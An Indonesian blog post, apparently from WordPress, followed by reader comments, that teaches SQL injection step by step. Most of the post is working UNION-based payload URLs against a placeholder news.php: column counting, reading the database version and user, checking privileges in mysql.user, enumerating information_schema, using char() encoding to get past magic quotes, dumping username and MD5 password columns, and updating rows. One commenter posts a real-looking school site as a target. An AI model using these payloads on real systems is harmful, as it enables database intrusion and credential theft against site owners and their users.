SQL Injection Vulnerability


sql_injectionBaru belajar SQL aja udah blagu nulis SQL Injection, ah bodo amat,, abisnya gak diajarin sih SQL Injection ame pak Utama. SQL Injection adalah salah satu dari sekian kelemahan aplikasi berbasis web. Bugs ini dapat menyebabkan seorang attacker mengeksekusi database target atau melakukan query ke dalam databases untuk mencuri informasi penting di databases, seperti username atau password, atau mengubah / update isi dari database.

Ada dua jenis metode atau cara SQL Injection yang pertama disebut Normal SQL Injection, yaitu dengan memanfaatkan error yang dibuat oleh attacker untuk memperoleh informasi skema atau struktur dari database, yang kedua yaitu Blind SQL Injection, dimana saat exploitasi Normal SQL Injection tidak bekerja, Blind SQL Injection dijadikan metode lain untuk exploitasi. Blind SQL Injection lebih sulit dilakukan, penjelasan lebih jauh tentang hal ini pada postingan yang akan datang🙂.

Cek Vulnerability

Untuk mengetahui apakah suatu aplikasi web vulnerable terhadap Sql Injection atau tidak, kita coba dengan menambahkan single quotes (‘) pada url, contoh :

http://www.target.com/news.php?id=1′

Jika Vulnerable akan keluar pesan error kurang lebih seperti ini : “You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” AND bg_deleted_dt IS NULL’ at line 1″

Berapa Jumlah Kolomnya ?

Untuk mengetahui jumlah kolom kita gunakan statement ORDER BY. Jangan lupa gunakan akhiran /* , # , %00 , atau — . Contoh :

http://www.target.com/news.php?id=1+order+by+1– // tidak ada error
http://www.target.com/news.php?id=1+order+by+2– // tidak ada error
http://www.target.com/news.php?id=1+order+by+3– // tidak ada error
http://www.target.com/news.php?id=1+order+by+4– // tidak ada error
http://www.target.com/news.php?id=1+order+by+5– // ada error yang muncul seperti “Unknown column ‘5’ in ‘order clause'”

Itu berarti terdapat jumlah kolom yang ada berjumlah 4. Jika hasil uji coba tidak terdapat error berarti jumlah kolom yang anda masukkan lebih kecil dari pada jumlah kolom yang ada di database, jika terdapat error jumlah kolom yang anda masukkan lebih besar dari jumlah kolom yang ada di database.

UNION Function

Guna UNION Function adalah untuk mengkombinasikan hasil satu atau lebih query dengan “select” statemen ke dalam single result. kita coba apakah fungsi UNION berfungsi atau tidak kita buat statement seperti ini :

http://www.target.com/news.php?id=null+union+select+1,2,3,4,5
,6,7,8,9,10,11,12,13,14,15,16,17,18,19–

Contoh diatas dengan 19 kolom, jika berfungsi maka akan muncul nomor yang bisa kita injeksi.

sql_injection1
kolom yang akan di-injeksi

Get the information

untuk mengetahui versi database yang digunakan,

http://www.target.com/news.php?id=null+union+
select+1,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19–

sql_injection2

untuk mengetahui nama database,

http://www.target.com/news.php?id=null+union+
select+1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,16,17,18,19–

sql_injection3

untuk mengetahui username database,

http://www.target.com/news.php?id=null+union+select+1,2,3,4
,user(),6,7,8,9,10,11,12,13,14,15,16,17,18,19–

sql_injection4

untuk mengetahui lokasi database,

http://www.target.com/news.php?id=null+union+select+1,2,3,4
,@@datadir,6,7,8,9,10,11,12,13,14,15,16,17,18,19–

sql_injection5

Check Previliges !

Kita cek apakah username database yang kita ketahui sebelumnya sebelumnya , mempunyai previlige untuk mengubah, menambahkan, atau menghapus isi database dengan statement berikut ,

http://www.target.com/news.php?id=null+union+select+1,2,3,4
,update_priv,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+mys
ql.user–

sql6

wow !!! huruf y berarti yes, kalau n artinya ora gelem.

Mendapatkan isi dari Database

Untuk membaca isi dari suatu Database, kita gunakan sintaks seperti contoh di bawah ini ;

http://www.target.com/news.php?id=null+union+select+1,2,3,4
,column,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+table–

Dimana column yang kita tentukan untuk kita baca, dan column tersebut berada pada table yang mana?.

laah??? kan gue gak tau nama kolomnya apa dan table apa saja di databasenya?..zzzZ

Tenang,,sejak SQL versi > 5 kita bisa mendapatkan informasi tentang isi database, di information_schema, jadi mari kita exploitasi database dengan nama information_schema..

Seraaaaanng…………………. !!!!

Rambo Injection

Contoh seperti di bawah,,

http://www.target.com/news.php?id=null+union+select+1,2,3,4
,concat(table_name,’ ,table_schema),6,7,8,9,10,11,12,13,14
,15,16,17,18,19+from+information_schema.tables+limit+1+off
set+18–

lalu akan muncul nama column dan nama databasenya, seperti di bawah, sekarang kita main tebak-tebakan, angka 18 tersebut terus anda tambah hingga pada sampai akhirnya anda menemukan database yang bernama “elvin” seperti yang sudah kita ketahui sebelumnya. Saya ganti angka 18 tersebut menjadi 194, dan menemukan database bernama elvin.

sql_injection7

Saya saya ingin mendapatkan informasi tentang username dan password di website tersebut dalam database, dan saya masih menebak column mana yang mengandung kata seperti “user” atau “password”. Saya menebak pada table “eb_profile” terdapat “username” dan “Password” untuk itu saya harus mengetahui column apa saja yang terdapat pada table “eb_profile”, lalu saya melakukan query seperti berikut.

http://www.target.com/news.php?id=null+union+select+1,2,3,4
,column_name,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+
information_schema.columns+where+table_name=’eb_profile’–

dan kita mendapatkan satu kolom untuk table “eb_profile”

sql_injection8

jika eror, kemungkinan Magic_Quotes ter-Setting “ON” jadi kita harus melakukan convert nama table ke ASCII, seperti ini jadinya.

http://www.target.com/news.php?id=null+union+select+1,2,3,4
,column_name,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+
information_schema.columns+where+table_name=char(101,98
,95,112,114,111,105,108,101)–

Tetap mencari column yang terdapat kata “username” dan “password”,dengan klausa limit dan offset.

http://www.target.com/news.php?id=null+union+select+1,2,3,4
,column_name,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+
information_schema.columns+where+table_name=char(101,98
,95,112,114,111,105,108,101)+limit+1+offset+1–

terus ganti angka 1 hingga anda menemukan column yang dicurigai terdapat teroris, eh maksudnya “username” dan “password”. akhirnya sampai disini saya menemukan column “ac_pass_vc” dan “ac_user_vc”. Setelah itu saya intip isi kepada dua column, ada apaan si ??? dengan klausa concatinate.

http://www.target.com/news.php?id=null+union+select+1,2,3,4
,concat(ac_user_vc,’%20′,ac_pass_vc),6,7,8,9,10,11,12,13,14
,15,16,17,18,19+from+eb_profile–

sql_injection10

Dooor !!! . kita mendapatkan user pertama “root” berikut dengan md5 hashnya,,😀.. gunakan klausa limit dan offset untuk melihat user lainnya seperti di atas.

Updating the database :

Query untuk mengupdate isi database seperti ni contohny :

http://www.target.com/news.php?id=null+union+select+1,2,3,4,update,6
,7,8,9,10,11,12,13,14,15,16,17,18,19+table_name+set+column_name=
“newvalue”+where+column_name=?value?+where+user=root–

melalui tulisan ini, saya hanya ingin mencurahkan sedikit isi otak saja, bagi-bagi ilmu dikit apa yang dimaksud dengan sql injection, walaupun sudah lama bugs ini, tapi sampai saat ini masih terdapat aplikasi web yang bisa di attack dengan Sql Injection, dan postingan ini berlanjut ke bagian ke 2.

males panjang-panjang,, udah ngantuk,,jam 04:51,,zzzzzzZZZZZZZZZZZzzzzzzzzzzzZZZZZZZZZzzzzzzzzzzzzzZZZZZZZZZZZZ

refernces :
http://www.justinshattuck.com/2007/01/18/mysql-injection-cheat-sheet/

51 thoughts on “SQL Injection Vulnerability

  1. wahahaha udah pernah berhasil bro, tapi ada yang gak gw mudeng neh, batu order 1 dah eror, trus di union malah errorr *mumet*

    ni site yang baru di order langsung erot smksgsoi.edu.my/berita.php?no_berita=6, gmana solusinya yak bro?

  2. sip sip sip keren bro hahaha

    ARKIB BERITA
    HUT RI ke 64 dan Segera Update Sistem anda dari SQL INJECTION Bodoh!!! !!!

    HUT RI ke 64 dan Segera Update Sistem anda !!! segera perbaharui sistem anda,, cracker berkeliaran di jagad ini,, !!! any question ??? send to : unamedplay@gmail.com or logsmylife.wordpress.com

  3. gamma 17 Agustus 2009 pukul 9:36 AM

    ga ngarti bro . . hahaha
    ajarin dooooong . . <<<<<< jangan mainan kya gini gammm, ente mainan mafia war aja ckakakakakakaka :roftling:

    • wah gawat tuh mas,,, hati-hati, di bawah ini anjuran saya.. selebihnya bagian yang bermasalah saya beritahukan lewat email aja, bahaya klo disini…

      1. Gunakan Input Validation untuk membatasi input single quote (‘).
      2. Matikan Pesan error dari database, dan IIS nya
      3. Matikan fasilitas-fasilitas Stored Procedures,
      Extended Stored Procedures kelo perlu.
      4. Ubah “Startup and run SQL Server” menggunakan low privilege user.

  4. mas, sql injection yang di dvwa saya masukkan ‘ or ‘ 1=1 kok memunculkan daftar semua user ya? cm sampai itu saya bisanya.Mungkin mas bs lebih jauh. Thx

    • contoh sederhana file “view.php”;

      <?php
      $no_student=$_GET[id];  //menangkap  variabel id dari url
      $com2=mysql_query("select * from student,mk where student.kd_mk = mk.kd_mk AND no_student='$no_student'") 
      ?>
      

      kalo user pengguna memberikan single quote (‘) seperti ini:

      http://goblog.com/view.php?id=1

      query akan menjadi

      select * from student,mk where student.kd_mk = mk.kd_mk AND no_student=’1”

      yang akan menghasilkan error seperti ini :
      You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1”’ at line 1

      selanjutnya seperti di atas,,
      gimana penjelasannya???

      • blm berhasil mas, cm berhasil sampai memunculkan error
        You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”1”’ at line 1
        doang.Selanjutnya yang mencari jml kolom dg order by 1-,order by 2-,….bla..bla.bla..(tanda – udah cb saya ganti dg /* , # , %00 ) dan langkah2 selanjutnya gk berhasil.Ini knapa mas?makasih.

  5. mas, tanya mas. kelemahan source codenya tersebut apa hanya di penggunaan GET? itu selalu bisa dieksploitasi atau kadang bisa kadang nggak? terima kasih.

  6. oh sql injek itu bisa di implementasi pada halaman yang menggunakan POST dan GET,. Kalau diatas diinjek pada url.. Kalo POST contohnya pada form login..
    Kalau masalah berhasil atau tidak tergantung developernya pintar2 mengolah kodingnya..

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

Logo WordPress.com

You are commenting using your WordPress.com account. Logout / Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout / Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout / Ubah )

Foto Google+

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s